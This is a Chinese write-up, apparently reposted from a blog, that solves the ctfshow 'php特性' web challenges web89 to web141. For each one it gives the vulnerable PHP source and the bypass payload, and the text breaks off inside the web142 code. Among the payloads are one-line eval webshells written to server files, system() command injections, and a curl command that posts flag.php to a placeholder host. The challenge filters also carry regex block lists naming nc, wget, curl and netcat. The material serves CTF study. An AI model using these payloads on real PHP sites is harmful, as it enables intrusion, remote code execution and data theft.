IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow web入门 php特性 -> 正文阅读

[PHP知识库]ctfshow web入门 php特性

一些函数绕过
PHP绕过姿势

web89

通过数组绕过
payload:

?num[]=1

web90

用小数进行绕过
payload

?num=4476.1

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

考察点:正则表达式修饰符
拓展

i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行; 

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; 

本题中由于/m可以匹配到换行符之后的东西,因此构造路径:

?cmd=%0aphp

%0aphp 经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。
经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag

web92

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

通过源码可以看出我们要让num==4476,但同时也要让intval(num)也为零。
intval()是将数据转化为整形,因此可以通过小数来绕过。
payload

?num=4476.1

web93

同上方法一样

web94

strpos($num, "0")

strpos() 函数查找字符串在另一字符串中第一次出现的位置
(该函数中0不能出现在第一个位置上)
绕过payload:

?num=4476.0

web95

科普:

1、八进制数是一种逢八进一的计数体制,基数是8,用0~7表示,如0772、八进制数以数字0开头。

3、十六进制数是一种逢十六进一的计数体制,基数是16,用0~9,A~F表示,如0xFF0XFF4、十六进制数以数字0和字母x的组合0x或0X开头。其中字母x是不区分大小写的,即0x与0X等价。
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

本题将小数点过滤,使得无法用小数,由于不能用字母,则科学计数法和十六进制都无法使用,因此只能考虑八进制。
payload:

?num=+010574

web96

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}
 highlight_file() //该函数可以包含文件,可以加相对路径的文件,也可以用php为协议

payload:

?u=/var/www/html/flag.php
?u=php://filter/resource=flag.php

web97

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

看题后要明白本题考察md5()的比较,我们要知道,md5无法处理数组,但MD5处理数组时会返回为null,因此构造路径:

a[]=2&b[]=1

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

看代码发现本题仅仅是让post值覆盖get的值,因此,get方式随便传一个参数,之后POST传参HTTP_FLAG=flag。

GET  ?flag=1  ;POST  HTTP_FLAG=flag

web 99

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

根据题意可以看出直接创建一个文件,并将一句话木马写入即可。
payload

get ?n=1.php  POST <?php eval($_POST[1]); ?>

web100

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?>

根据题意,可以发现本题考查and与&&的区别+反射类ReflectionClass的使用
(&&>=>and)
因此本题会先执行=,and可以不成立。
之后是利用PHP中的反射类ReflectionClass,因为已经提示了flag在ctfshow这个类里php官网上反射类
yun师傅举个简单的例子;以供学习。

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

预期解:

?v1=1&v2=echo new ReflectionClass&v3=;

本题有非预期解:

?v1=1&v2=system("cat ctfshow.php")/*&v3=*/;

web101

同上一题相似,(非预期解消失)

web102

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>

看到本题后,发现v2要为全数字,v1应为一个内置类,v3为文件名
看到这里我们可以想到16进制绕过is_numeric()。
之后便不知道了

call_user_func — 把第一个参数作为回调函数调用
1.通过函数的方式回调 2.通过类名、对象的方式回调 3.用call_user_func()来调用一个类里面的方法
s = s u b s t r ( s = substr( s=substr(v2,2) 截取v2中前两个字符

看到大佬博客
paylaod
首先将我们的一句话编码成16进制

get:v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin

完成木马的写入。
但是本题无法使用,应该是因为环境为php7,因为在php7下

var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e"));  
下返回false

所以只能另想办法,要让v2均为数字,首先我们考虑写入1.php时,利用伪协议写入

get:v2=???&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

关键就是什么代码base64编码后再转为十六进制为全数字

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);

同时因为经过substr处理,所以v2前面还要补00
payload:

get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

之后访问1.php看源码即可。

web103

同上一样,路径相同

web104、106

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}



?>

通过利用数组绕过shal();
payload:

post:v1[]=1;get v2[]=2;

web 105

$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

看到本体,有点懵,但是却有一个关键:

if(!($_POST['flag']==$flag)){
    die($error);

因此只要我们可以对$error传参就可以传出flag;
payload:

GET: ?a=flag   POST:  error=a;

通过get进一个参数使他为flag,并将a赋给error利用die()函数得到flag

还有一个payload:

suces=flag&flag=  //不太理解

web107

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:24:14

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}



?>

看到题目可以发现,我们需要了解parse_str()函数的意思

parse_str(string,array):string为解析的字符串,array为存储变量的数组的名称。该参数指示变量将被存储到数组中

因此可以通过以下路径:

POST v1=flag=NULL  GET ?v3[]=1

从而得到flag

web108

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>
error

通过本题可以看到ereg()函数该函数可以用%00来截断
strrev()字符串反转
intval()取整
payload:

?c=a%00778

web109

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

只要有字母便可以,因此找到不会报错的类。

Exception  // 错误类
ReflectionClass

payload

v1=Exception();system('tac f*');//&v2=a
v1=ReflectionClass&v2=system('tac f*')
?v1=ReflectionClass("PDO");system("ls");//&v2=a

中间那个,可以不闭合的原理就是因为先执行的system,然后才报的错。你可以理解成phpinfo(system(“ls”));,先执行的system。

web110

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

看到题目后就会发现上题的解法无法使用,同时不能出现上面匹配的字符
看大佬博客发现

FilesystemIterator()//这个函数可以的到当前路径下的文件操作如下
<?php 
$a=new FilesystemIterator('.'));

while ($a->valid()){
     echo $a->getFilename()."\n";

     $a->next();
}

结果

//当前路径下的文件
103.php
ssrf.php
text.php

因此只要出现‘.’便可以出现题解,对于点我们可以使用getcwd()函数来替代

getcwd() :获取当前工作目录

从而获得路径
payload:

?v1=FilesystemIterator&&v2=getcwd

web111

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    

    


}

?>

考察$GLOBALS变量

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

在这里插入图片描述
通过图片可以看到该变量可以返回我们写的变量,那是不是在这道题中可以返回$flag!
payload

?v1=ctfshow&&v2=GLOBALS

web112

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

看到本题看到过滤的没有php和filter就想到了php伪协议

is_file — 判断给定文件名是否为一个正常的文件
is_file ( string $filename ) : bool

我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。
可以直接用不带任何过滤器的filter伪协议

?file=php://filter/resource=flag.php

或者

payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php
payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

web 113

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

compress.zlib://file.gz - 处理的是 ‘.gz’ 后缀的压缩包
compress.bzip2://file.bz2 - 处理的是 ‘.bz2’ 后缀的压缩包
zip://archive.zip#dir/file.txt - 处理的是 ‘.zip’ 后缀的压缩包里的文件

用上一题的非预期解:?file=compress.zlib://flag.php
预期解:

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复从而绕过的原理不懂!

web114

filter没有过滤!!

web115

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

本题考is_numeric()和trim()过滤
trim():匹配字符串
做个实验

for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).'1';
   if(is_numeric($x)==true){
        echo urlencode(chr($i))."\n";
   }
}

结果有除了数字和±.号以外还有 %09 %0a %0b %0c %0d %20

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}

结果有±.号以外还有只剩下%0c也就是换页符
则只有%0c可以同时绕过两个函数
payload

?num=%0c36

web123、125、126

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

看到本题,发现首先一个难点就是让CTF_SHOW.COM绕过匹配,看到大佬博客后发现CTF[SHOW.COM可以绕过。之后有一个知识点:

1、cli模式(命令行)下

	第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

	在web页模式下必须在php.ini开启register_argc_argv配置项
	
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[QUERY_STRING]

    $argv,$argc在web模式下不适用

因为本题是在web条件下,所以我们可以用

$_SERVER[‘argv’][0] = $_SERVER[QUERY_STRING]//即a[0]=$_SERVER[‘QUERY_STRING’]

$_SERVER[‘QUERY_STRING’]的用法
因此可以构造payload

GET $fl0g=flag_give_me;
POST  CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

web127

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

看到本题后发现和上一题相似,也是要绕过匹配的_

extract($array):将数组中的键、值 变成 变量和值

payload

 ctf%5bshow=ilove36d
 ctf show=ilove36d

web128

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} 

看到本题后一脸懵,看大佬博客

call_user_func() : 该函数?是??PHP??中的一个内置函数,用于调用第一个参数给出的回调,并将其余参数作为参数传递。它用于调用用户定义的函数。?

在开启gettext拓展后,有_()==gettext() ,开启text扩展。需要php扩展目录下有php_gettext.dll
在开启该拓展后 _() 等效于 gettext()

<?php
echo gettext("phpinfo");
结果  phpinfo

echo _("phpinfo");
结果 phpinfo

所以 call_user_func(’_’,‘phpinfo’) 返回的就是phpinfo
因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars

get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

则payload:?f1=_&&f2=get_defined_vars

web129

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

stripos():查找字符串在另一字符串中第一次出现的位置(不区分大小写)

可以用服务器进行远程文件包含或者用伪协议
filter伪协议支持多种编码方式,无效的就被忽略掉了

f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

目录穿越也可以以

f=/ctfshow/../../../../../../../var/www/html/flag.php

web130~131

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

考察点:利用正则最大回溯次数绕过
看到本题,要想办法绕过preg_match()或stripos()
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。

import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
	'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

看了一下羽师傅的WP,原来还能数组绕过。。。是个非预期

f[]=1

stripos应用于数组的时候会返回null,null!==false,所以非预期了
又看了一眼hint,我又震惊了:f=ctfshow。发生甚么事了?
又查了一下,原来对这正则表达式的理解还是不太对:/.+?ctfshow/is
在/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。

web 132

本题首先进入题目页面,在

/admin

之后看到

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

原理不太清楚,但是师傅们说
只需让后面成立即username,则

?code=admin&password=1&username=admin

web133

if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

看师傅们的解题:
举个例子:

get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  `   `$F `;sleep 3  ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了

无回显我们可以用反弹shell 或者curl外带 或者盲注
这里的话反弹没有成功,但是可以外带。(由于外带没有成功,就举例第二种利用burpsuit的方法)

payload: curl -X POST -F xx=@flag.php http://xxx

得到flag
得flag

web134

if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

考察POST变量覆盖
yu师傅做了个测试

parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);

然后我们传入 _POST[‘a’]=123
会发现输出的结果为array(1) { ["‘a’"]=> string(3) “123” }
也就是说现在的$_POST[‘a’]存在并且值为123

题目中还有个extract($_POST)
这样的话 $a==123

?_POST[key1]=36d&_POST[key2]=36d

web135

if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }

这道题和前面得相似,他把curl给过滤了
看yu师傅得操作,想到了重定向

payload:?F=`$F `;nl f*>xxx

web136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

本题过滤了许多东西,同时如果直接ls将不会回显,因此利用linux上的tee命令来写文件

?c=ls /|tee 111

之后发现在f149_15_h3r3个下面

?c=cat /f149_15_h3r3|tee 111

得flag

web137

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:27:49

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

call_user_funchan函数得简单回调
(把他想复杂了,想成_walkup的绕过)
payload

ctfshow=ctfshow::getFlag

web138

本题关键call_user_func()的使用
call_user_func中不但可以传字符串也可以传数组

call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法

则payload

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

盲注,暂时先过

web140

intval会将非数字字符转换为0,也就是说 intval(‘a’)==0 intval(’.’)==0 intval(’/’)==0
则将有很多解法

f1=md5&f2=end

web141

preg_match('/^\W+$/', $v3)

^是表示正则表达式的开始,$表示正则表达式的结束,\w表示任意大小写字母或数字或下划线,+号表示1到多个\w

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 19:28:09

*/

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

制作命令eval(“return phpinfo();”)
因此v3肯定是命令执行,但是v1v2又怎么弄呢?PHP里面数字是可以和一些命令进行运算,例如1-phpinfo()-1,这样仍然可以执行phpinfo(),因此构造就很明显了。中单的v3用无数字字母rce就可以。

运行取反脚本构造system(‘tac f*’)得到
(%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%99%D5);

yu师傅取反脚本):

?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1

好像异或和或不能用(反正我是没有成功)

web142

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 19:36:02

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
